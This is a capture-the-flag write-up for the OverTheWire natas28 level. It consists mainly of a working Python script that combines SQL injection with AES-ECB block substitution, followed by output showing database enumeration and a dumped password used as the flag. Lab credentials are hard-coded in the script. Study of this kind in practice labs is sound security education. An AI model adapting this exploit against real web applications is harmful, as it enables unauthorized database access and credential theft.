← Back
natas28 | Avishai’s CTF Writeups

Avishai's CTF Writeups

Yalla Balagan! A collection of my CTF writeups and solutions.

View on GitHub

This is the source code.

It about SQLi and exploit of AES-ECB mode.

import requests
import base64
from urllib.parse import unquote, quote
import binascii
import re

# === CONFIGURATION ===
URL = "http://natas28.natas.labs.overthewire.org"
USERNAME = "natas28"
PASSWORD = "1JNwQM1Oi6J6j1k49Xyw7ZN6pXMQInVj"
HEADERS = {
    "Authorization": "Basic " + base64.b64encode(f"{USERNAME}:{PASSWORD}".encode()).decode()
}

# === HELPER FUNCTIONS ===
def get_encrypted_param(query):
    data = {'query': query}
    response = requests.post(URL, data=data, headers=HEADERS, allow_redirects=False)
    location = response.headers.get('Location')
    if not location:
        print("[!] No redirect location found!")
        return None
    encoded_param = location.split('=')[1]
    return encoded_param

def decode_to_blocks(encoded_param):
    decoded = base64.b64decode(unquote(encoded_param))
    hex_data = binascii.hexlify(decoded).decode()
    blocks = [hex_data[i:i+32] for i in range(0, len(hex_data), 32)]
    return blocks

def reencode_blocks(blocks):
    joined_hex = ''.join(blocks)
    raw_bytes = binascii.unhexlify(joined_hex)
    return quote(base64.b64encode(raw_bytes))

def extract_results(html_response):
    return re.findall(r'<li>(.*?)</li>', html_response)

# === MAIN LOGIC ===
def main():
    # Step 1: Get baseline encrypted blocks to reuse the third block
    baseline_param = get_encrypted_param("111222333")
    if not baseline_param:
        return
    baseline_blocks = decode_to_blocks(baseline_param)
    fake_block = baseline_blocks[2]

    print("[+] Ready for input. Type 'exit' to quit.\n")

    while True:
        user_input = input("Enter SQL query (without 'union all'): ").strip()
        if user_input.lower() == 'exit':
            break

        # Construct the payload and get the encrypted response
        payload = f"111222333' union all {user_input};#"
        encrypted_param = get_encrypted_param(payload)
        if not encrypted_param:
            continue

        blocks = decode_to_blocks(encrypted_param)
        if len(blocks) < 3:
            print("[!] Not enough blocks in response.")
            continue

        blocks[2] = fake_block  # Insert fake block to avoid hash mismatch
        final_encoded_param = reencode_blocks(blocks)

        # Send GET request with manipulated param
        response = requests.get(f"{URL}/search.php/?query={final_encoded_param}", headers=HEADERS)
        results = extract_results(response.text)

        if results:
            print("[+] Query Results:")
            for r in results:
                print("  -", r)
        else:
            print("[-] No results or error.")

if __name__ == "__main__":
    main()

Enter SQL query (without 'union all'): select database()
[+] Query Results:
  - natas28
Enter SQL query (without 'union all'): select table_name from information_schema.tables where table_schema=0x6e617461733238
[+] Query Results:
  - jokes
  - users
Enter SQL query (without 'union all'): select column_name from information_schema.columns where table_name=0x7573657273
[+] Query Results:
  - username
  - password
Enter SQL query (without 'union all'): select password from users
[+] Query Results:
  - 31F4j3Qi2PnuhIZQokxXk1L3QT9Cppns

Flag: 31F4j3Qi2PnuhIZQokxXk1L3QT9Cppns